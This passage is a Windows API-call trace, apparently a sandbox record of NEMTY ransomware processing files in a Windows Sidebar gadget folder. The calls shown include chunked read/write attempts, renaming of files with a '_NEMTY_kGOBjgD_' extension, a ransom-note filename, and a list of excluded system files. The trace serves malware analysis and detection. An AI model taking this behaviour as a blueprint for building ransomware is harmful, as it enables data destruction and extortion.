pszString="5AUDczNQYJOA9sryDl2LYoif9wRo16s70zjPxDHlH82qYNmMj4asAzePeJUX9zEx\r\nbHs1NTgV5iV+hIcgiMYMjbieHYN/TOJjW6M15z3Q+1zy739xIjbNgflSs6cuYgz1\r\ny3/LEnUU8LPoGVC+Dggclki2MEXsfrnM4Yj8QZHQd/aoNwOtNZkW7XXKctc9YBan\r\nrm1Sbv6h1GIOf+HfIJKcCwRdawOzil7zDdA0+Zgjnu5tOaTwIcp75ZnjG2aRok46\r\nvqk6owFX11/ltTwWQGgB+Baq4szssCxmTivea1cPgw/tXij3O0XoOfDdW5QCmbfy\r\nXoPKryeh8oQFWEujP8stCA==\r\n", pcchString=0x653e5dc) returned 1 [0134.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0134.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0134.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0134.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0134.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0134.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0134.486] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\settings.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\js\\settings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0134.487] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0134.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0134.487] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.487] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.496] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.496] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.496] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.497] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.506] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.506] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.506] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.506] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.515] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.515] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.515] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.515] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.525] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.525] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.525] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.525] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.534] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.534] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.534] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.534] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.543] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.543] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.543] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.543] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.553] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.553] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.553] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.553] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.562] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.562] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.572] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.572] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.572] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.572] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.582] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.582] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.582] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.582] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.588] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.588] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.588] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.588] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.594] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.594] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.594] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.594] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.594] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0134.594] CloseHandle (hObject=0xffffffff) returned 0 [0134.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0134.594] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0134.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0134.594] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0134.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0134.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0134.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0134.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0134.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0134.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0134.595] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\settings.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\js\\settings.js"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\settings.js._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\js\\settings.js._nemty_kgobjgd_")) returned 0 [0134.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0134.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0134.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0134.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0134.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0134.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0134.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0134.595] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b90630, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x3b90630, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x3b90630, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0134.595] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0134.595] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0134.595] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0134.595] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0134.595] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0134.595] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0134.595] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0134.595] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0134.595] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0134.595] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0134.595] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0134.595] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0134.595] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0134.595] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0134.595] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0134.596] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0134.596] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0134.596] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0134.596] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0134.596] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0134.596] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0134.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0134.596] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0134.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.596] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0134.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0134.596] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0134.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.596] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0134.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0134.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0134.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0134.596] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0134.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.596] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0134.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0134.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0134.596] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0134.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0134.596] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0134.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0134.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0134.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0134.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0134.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.596] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b90630, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x3b90630, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x3b90630, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0134.596] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0134.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0134.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6347058 | out: hHeap=0x4f90000) returned 1 [0134.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0134.597] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6c, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="picturePuzzle.html", cAlternateFileName="")) returned 1 [0134.597] lstrcmpiW (lpString1="picturePuzzle.html", lpString2=".") returned 1 [0134.597] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="..") returned 1 [0134.597] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="...") returned 1 [0134.597] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="windows") returned -1 [0134.597] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="$RECYCLE.BIN") returned 1 [0134.597] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="rsa") returned -1 [0134.597] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="NTDETECT.COM") returned 1 [0134.597] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="ntldr") returned 1 [0134.597] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="MSDOS.SYS") returned 1 [0134.597] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="IO.SYS") returned 1 [0134.597] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="boot.ini") returned 1 [0134.597] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="boot.ini") returned 1 [0134.597] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="AUTOEXEC.BAT") returned 1 [0134.597] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="ntuser.dat") returned 1 [0134.597] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="desktop.ini") returned 1 [0134.597] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="CONFIG.SYS") returned 1 [0134.597] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="RECYCLER") returned -1 [0134.597] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="BOOTSECT.BAK") returned 1 [0134.597] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="bootmgr") returned 1 [0134.597] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="programdata") returned -1 [0134.597] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="appdata") returned 1 [0134.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0134.597] WideCharToMultiByte (in: CodePage=0xfde9, 